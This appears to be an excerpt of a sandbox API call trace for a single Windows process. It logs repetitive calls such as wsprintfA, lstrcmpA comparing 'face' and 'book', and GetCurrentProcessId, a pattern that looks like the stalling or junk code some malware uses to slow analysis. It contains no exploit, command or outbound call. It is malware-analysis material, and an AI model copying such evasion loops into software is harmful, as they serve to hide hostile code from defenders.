GetLastError () returned 0x12 [0069.407] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8D8BP") returned 7 [0069.407] SetLastError (dwErrCode=0x12) [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetLastError () returned 0x12 [0069.407] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8D8CP") returned 7 [0069.407] SetLastError (dwErrCode=0x12) [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] lstrlenA (lpString="just string") returned 11 [0069.407] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.407] GetLastError () returned 0x12 [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] lstrlenA (lpString="just string") returned 11 [0069.407] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.407] GetLastError () returned 0x12 [0069.407] GetLastError () returned 0x12 [0069.407] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.407] SetLastError (dwErrCode=0x12) [0069.407] GetCurrentProcess () returned 0xffffffff [0069.407] GetLastError () returned 0x12 [0069.407] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8DC6P") returned 7 [0069.407] SetLastError (dwErrCode=0x12) [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetCurrentProcess () returned 0xffffffff [0069.407] GetLastError () returned 0x12 [0069.407] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8DC7P") returned 7 [0069.407] SetLastError (dwErrCode=0x12) [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetLastError () returned 0x12 [0069.407] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8DC8P") returned 7 [0069.407] SetLastError (dwErrCode=0x12) [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] lstrlenA (lpString="just string") returned 11 [0069.407] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.407] GetLastError () returned 0x12 [0069.407] GetLastError () returned 0x12 [0069.407] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.407] SetLastError (dwErrCode=0x12) [0069.407] GetCurrentProcess () returned 0xffffffff [0069.407] GetLastError () returned 0x12 [0069.407] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8DE4P") returned 7 [0069.407] SetLastError (dwErrCode=0x12) [0069.407] GetCurrentProcessId () returned 0x81c [0069.407] GetCurrentProcess () returned 0xffffffff [0069.407] GetLastError () returned 0x12 [0069.407] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8DE5P") returned 7 [0069.408] SetLastError (dwErrCode=0x12) [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetLastError () returned 0x12 [0069.408] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8DE6P") returned 7 [0069.408] SetLastError (dwErrCode=0x12) [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] lstrlenA (lpString="just string") returned 11 [0069.408] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.408] GetLastError () returned 0x12 [0069.408] GetLastError () returned 0x12 [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] lstrlenA (lpString="just string") returned 11 [0069.408] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.408] GetLastError () returned 0x12 [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] lstrlenA (lpString="just string") returned 11 [0069.408] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.408] GetLastError () returned 0x12 [0069.408] GetLastError () returned 0x12 [0069.408] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.408] SetLastError (dwErrCode=0x12) [0069.408] GetCurrentProcess () returned 0xffffffff [0069.408] GetLastError () returned 0x12 [0069.408] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8EC0P") returned 7 [0069.408] SetLastError (dwErrCode=0x12) [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcess () returned 0xffffffff [0069.408] GetLastError () returned 0x12 [0069.408] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8EC1P") returned 7 [0069.408] SetLastError (dwErrCode=0x12) [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetLastError () returned 0x12 [0069.408] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8EC2P") returned 7 [0069.408] SetLastError (dwErrCode=0x12) [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] lstrlenA (lpString="just string") returned 11 [0069.408] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.408] GetLastError () returned 0x12 [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] lstrlenA (lpString="just string") returned 11 [0069.408] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.408] GetLastError () returned 0x12 [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] lstrlenA (lpString="just string") returned 11 [0069.408] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.408] GetLastError () returned 0x12 [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] GetCurrentProcessId () returned 0x81c [0069.408] lstrlenA (lpString="just string") returned 11 [0069.409] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.409] GetLastError () returned 0x12 [0069.409] GetLastError () returned 0x12 [0069.409] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.409] SetLastError (dwErrCode=0x12) [0069.409] GetCurrentProcess () returned 0xffffffff [0069.409] GetLastError () returned 0x12 [0069.409] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8F56P") returned 7 [0069.409] SetLastError (dwErrCode=0x12) [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcess () returned 0xffffffff [0069.409] GetLastError () returned 0x12 [0069.409] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8F57P") returned 7 [0069.409] SetLastError (dwErrCode=0x12) [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetLastError () returned 0x12 [0069.409] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8F58P") returned 7 [0069.409] SetLastError (dwErrCode=0x12) [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] lstrlenA (lpString="just string") returned 11 [0069.409] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.409] GetLastError () returned 0x12 [0069.409] GetLastError () returned 0x12 [0069.409] GetLastError () returned 0x12 [0069.409] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.409] SetLastError (dwErrCode=0x12) [0069.409] GetCurrentProcess () returned 0xffffffff [0069.409] GetLastError () returned 0x12 [0069.409] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8F9CP") returned 7 [0069.409] SetLastError (dwErrCode=0x12) [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcess () returned 0xffffffff [0069.409] GetLastError () returned 0x12 [0069.409] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8F9DP") returned 7 [0069.409] SetLastError (dwErrCode=0x12) [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetLastError () returned 0x12 [0069.409] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8F9EP") returned 7 [0069.409] SetLastError (dwErrCode=0x12) [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] lstrlenA (lpString="just string") returned 11 [0069.409] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.409] GetLastError () returned 0x12 [0069.409] GetLastError () returned 0x12 [0069.409] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8FA8P") returned 7 [0069.409] SetLastError (dwErrCode=0x12) [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] GetCurrentProcessId () returned 0x81c [0069.409] lstrlenA (lpString="just string") returned 11 [0069.409] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.409] GetLastError () returned 0x12 [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] lstrlenA (lpString="just string") returned 11 [0069.410] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.410] GetLastError () returned 0x12 [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] lstrlenA (lpString="just string") returned 11 [0069.410] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.410] GetLastError () returned 0x12 [0069.410] lstrlenA (lpString="just string") returned 11 [0069.410] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.410] GetLastError () returned 0x12 [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] lstrlenA (lpString="just string") returned 11 [0069.410] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.410] GetLastError () returned 0x12 [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] lstrlenA (lpString="just string") returned 11 [0069.410] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.410] GetLastError () returned 0x12 [0069.410] GetLastError () returned 0x12 [0069.410] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9048P") returned 7 [0069.410] SetLastError (dwErrCode=0x12) [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] lstrlenA (lpString="just string") returned 11 [0069.410] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.410] GetLastError () returned 0x12 [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] lstrlenA (lpString="just string") returned 11 [0069.410] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.410] GetLastError () returned 0x12 [0069.410] GetLastError () returned 0x12 [0069.410] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.410] SetLastError (dwErrCode=0x12) [0069.410] GetCurrentProcess () returned 0xffffffff [0069.410] GetLastError () returned 0x12 [0069.410] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9078P") returned 7 [0069.410] SetLastError (dwErrCode=0x12) [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcess () returned 0xffffffff [0069.410] GetLastError () returned 0x12 [0069.410] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9079P") returned 7 [0069.410] SetLastError (dwErrCode=0x12) [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetLastError () returned 0x12 [0069.410] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E907AP") returned 7 [0069.410] SetLastError (dwErrCode=0x12) [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] GetCurrentProcessId () returned 0x81c [0069.410] lstrlenA (lpString="just string") returned 11 [0069.410] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.410] GetLastError () returned 0x12 [0069.410] GetCurrentProcess () returned 0xffffffff [0069.410] GetLastError () returned 0x12 [0069.410] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E90BFP") returned 7 [0069.411] SetLastError (dwErrCode=0x12) [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetLastError () returned 0x12 [0069.411] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E90C0P") returned 7 [0069.411] SetLastError (dwErrCode=0x12) [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] lstrlenA (lpString="just string") returned 11 [0069.411] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.411] GetLastError () returned 0x12 [0069.411] lstrlenA (lpString="just string") returned 11 [0069.411] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.411] GetLastError () returned 0x12 [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] lstrlenA (lpString="just string") returned 11 [0069.411] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.411] GetLastError () returned 0x12 [0069.411] GetLastError () returned 0x12 [0069.411] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.411] SetLastError (dwErrCode=0x12) [0069.411] GetCurrentProcess () returned 0xffffffff [0069.411] GetLastError () returned 0x12 [0069.411] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9140P") returned 7 [0069.411] SetLastError (dwErrCode=0x12) [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetCurrentProcess () returned 0xffffffff [0069.411] GetLastError () returned 0x12 [0069.411] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9141P") returned 7 [0069.411] SetLastError (dwErrCode=0x12) [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetLastError () returned 0x12 [0069.411] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9142P") returned 7 [0069.411] SetLastError (dwErrCode=0x12) [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] lstrlenA (lpString="just string") returned 11 [0069.411] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.411] GetLastError () returned 0x12 [0069.411] GetLastError () returned 0x12 [0069.411] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.411] SetLastError (dwErrCode=0x12) [0069.411] GetCurrentProcess () returned 0xffffffff [0069.411] GetLastError () returned 0x12 [0069.411] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9186P") returned 7 [0069.411] SetLastError (dwErrCode=0x12) [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetCurrentProcess () returned 0xffffffff [0069.411] GetLastError () returned 0x12 [0069.411] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9187P") returned 7 [0069.411] SetLastError (dwErrCode=0x12) [0069.411] GetCurrentProcessId () returned 0x81c [0069.411] GetLastError () returned 0x12 [0069.411] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9188P") returned 7 [0069.411] SetLastError (dwErrCode=0x12) [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] lstrlenA (lpString="just string") returned 11 [0069.412] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.412] GetLastError () returned 0x12 [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] lstrlenA (lpString="just string") returned 11 [0069.412] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.412] GetLastError () returned 0x12 [0069.412] lstrlenA (lpString="just string") returned 11 [0069.412] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.412] GetLastError () returned 0x12 [0069.412] GetLastError () returned 0x12 [0069.412] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.412] SetLastError (dwErrCode=0x12) [0069.412] GetCurrentProcess () returned 0xffffffff [0069.412] GetLastError () returned 0x12 [0069.412] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E91FEP") returned 7 [0069.412] SetLastError (dwErrCode=0x12) [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcess () returned 0xffffffff [0069.412] GetLastError () returned 0x12 [0069.412] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E91FFP") returned 7 [0069.412] SetLastError (dwErrCode=0x12) [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetLastError () returned 0x12 [0069.412] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9200P") returned 7 [0069.412] SetLastError (dwErrCode=0x12) [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] lstrlenA (lpString="just string") returned 11 [0069.412] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.412] GetLastError () returned 0x12 [0069.412] GetLastError () returned 0x12 [0069.412] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.412] SetLastError (dwErrCode=0x12) [0069.412] GetCurrentProcess () returned 0xffffffff [0069.412] GetLastError () returned 0x12 [0069.412] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9226P") returned 7 [0069.412] SetLastError (dwErrCode=0x12) [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcess () returned 0xffffffff [0069.412] GetLastError () returned 0x12 [0069.412] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9227P") returned 7 [0069.412] SetLastError (dwErrCode=0x12) [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetLastError () returned 0x12 [0069.412] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9228P") returned 7 [0069.412] SetLastError (dwErrCode=0x12) [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcessId () returned 0x81c [0069.412] GetCurrentProcessId () returned 0x81c [0069.413] lstrlenA (lpString="just string") returned 11 [0069.413] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.413] GetLastError () returned 0x12 [0069.413] GetLastError () returned 0x12 [0069.413] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9264P") returned 7 [0069.413] SetLastError (dwErrCode=0x12) [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] lstrlenA (lpString="just string") returned 11 [0069.413] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.413] GetLastError () returned 0x12 [0069.413] lstrlenA (lpString="just string") returned 11 [0069.413] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.413] GetLastError () returned 0x12 [0069.413] GetLastError () returned 0x12 [0069.413] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9278P") returned 7 [0069.413] SetLastError (dwErrCode=0x12) [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] lstrlenA (lpString="just string") returned 11 [0069.413] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.413] GetLastError () returned 0x12 [0069.413] GetLastError () returned 0x12 [0069.413] GetLastError () returned 0x12 [0069.413] GetLastError () returned 0x12 [0069.413] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9318P") returned 7 [0069.413] SetLastError (dwErrCode=0x12) [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] lstrlenA (lpString="just string") returned 11 [0069.413] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.413] GetLastError () returned 0x12 [0069.413] GetLastError () returned 0x12 [0069.413] GetCurrentProcess () returned 0xffffffff [0069.413] GetLastError () returned 0x12 [0069.413] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E937BP") returned 7 [0069.413] SetLastError (dwErrCode=0x12) [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetLastError () returned 0x12 [0069.413] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E937CP") returned 7 [0069.413] SetLastError (dwErrCode=0x12) [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] GetCurrentProcessId () returned 0x81c [0069.413] lstrlenA (lpString="just string") returned 11 [0069.413] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.413] GetLastError () returned 0x12 [0069.413] GetLastError () returned 0x12 [0069.413] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.413] SetLastError (dwErrCode=0x12) [0069.413] GetCurrentProcess () returned 0xffffffff [0069.413] GetLastError () returned 0x12 [0069.413] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E938EP") returned 7 [0069.413] SetLastError (dwErrCode=0x12) [0069.413] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcess () returned 0xffffffff [0069.414] GetLastError () returned 0x12 [0069.414] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E938FP") returned 7 [0069.414] SetLastError (dwErrCode=0x12) [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetLastError () returned 0x12 [0069.414] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9390P") returned 7 [0069.414] SetLastError (dwErrCode=0x12) [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] lstrlenA (lpString="just string") returned 11 [0069.414] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.414] GetLastError () returned 0x12 [0069.414] lstrlenA (lpString="just string") returned 11 [0069.414] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.414] GetLastError () returned 0x12 [0069.414] GetLastError () returned 0x12 [0069.414] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.414] SetLastError (dwErrCode=0x12) [0069.414] GetCurrentProcess () returned 0xffffffff [0069.414] GetLastError () returned 0x12 [0069.414] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9442P") returned 7 [0069.414] SetLastError (dwErrCode=0x12) [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcess () returned 0xffffffff [0069.414] GetLastError () returned 0x12 [0069.414] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9443P") returned 7 [0069.414] SetLastError (dwErrCode=0x12) [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetLastError () returned 0x12 [0069.414] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9444P") returned 7 [0069.414] SetLastError (dwErrCode=0x12) [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] lstrlenA (lpString="just string") returned 11 [0069.414] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.414] GetLastError () returned 0x12 [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] lstrlenA (lpString="just string") returned 11 [0069.414] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.414] GetLastError () returned 0x12 [0069.414] GetCurrentProcess () returned 0xffffffff [0069.414] GetLastError () returned 0x12 [0069.414] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E946BP") returned 7 [0069.414] SetLastError (dwErrCode=0x12) [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetLastError () returned 0x12 [0069.414] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E946CP") returned 7 [0069.414] SetLastError (dwErrCode=0x12) [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.414] GetCurrentProcessId () returned 0x81c [0069.415] lstrlenA (lpString="just string") returned 11 [0069.415] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.415] GetLastError () returned 0x12 [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] lstrlenA (lpString="just string") returned 11 [0069.415] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.415] GetLastError () returned 0x12 [0069.415] GetLastError () returned 0x12 [0069.415] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.415] SetLastError (dwErrCode=0x12) [0069.415] GetCurrentProcess () returned 0xffffffff [0069.415] GetLastError () returned 0x12 [0069.415] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E94A6P") returned 7 [0069.415] SetLastError (dwErrCode=0x12) [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcess () returned 0xffffffff [0069.415] GetLastError () returned 0x12 [0069.415] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E94A7P") returned 7 [0069.415] SetLastError (dwErrCode=0x12) [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetLastError () returned 0x12 [0069.415] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E94A8P") returned 7 [0069.415] SetLastError (dwErrCode=0x12) [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] lstrlenA (lpString="just string") returned 11 [0069.415] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.415] GetLastError () returned 0x12 [0069.415] GetLastError () returned 0x12 [0069.415] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.415] SetLastError (dwErrCode=0x12) [0069.415] GetCurrentProcess () returned 0xffffffff [0069.415] GetLastError () returned 0x12 [0069.415] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E94ECP") returned 7 [0069.415] SetLastError (dwErrCode=0x12) [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcess () returned 0xffffffff [0069.415] GetLastError () returned 0x12 [0069.415] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E94EDP") returned 7 [0069.415] SetLastError (dwErrCode=0x12) [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetLastError () returned 0x12 [0069.415] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E94EEP") returned 7 [0069.415] SetLastError (dwErrCode=0x12) [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] GetCurrentProcessId () returned 0x81c [0069.415] lstrlenA (lpString="just string") returned 11 [0069.415] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.415] GetLastError () returned 0x12 [0069.415] lstrlenA (lpString="just string") returned 11 [0069.415] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.416] GetLastError () returned 0x12 [0069.416] GetLastError () returned 0x12 [0069.416] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.416] SetLastError (dwErrCode=0x12) [0069.416] GetCurrentProcess () returned 0xffffffff [0069.416] GetLastError () returned 0x12 [0069.416] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9546P") returned 7 [0069.416] SetLastError (dwErrCode=0x12) [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetCurrentProcess () returned 0xffffffff [0069.416] GetLastError () returned 0x12 [0069.416] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9547P") returned 7 [0069.416] SetLastError (dwErrCode=0x12) [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetLastError () returned 0x12 [0069.416] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9548P") returned 7 [0069.416] SetLastError (dwErrCode=0x12) [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] lstrlenA (lpString="just string") returned 11 [0069.416] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.416] GetLastError () returned 0x12 [0069.416] 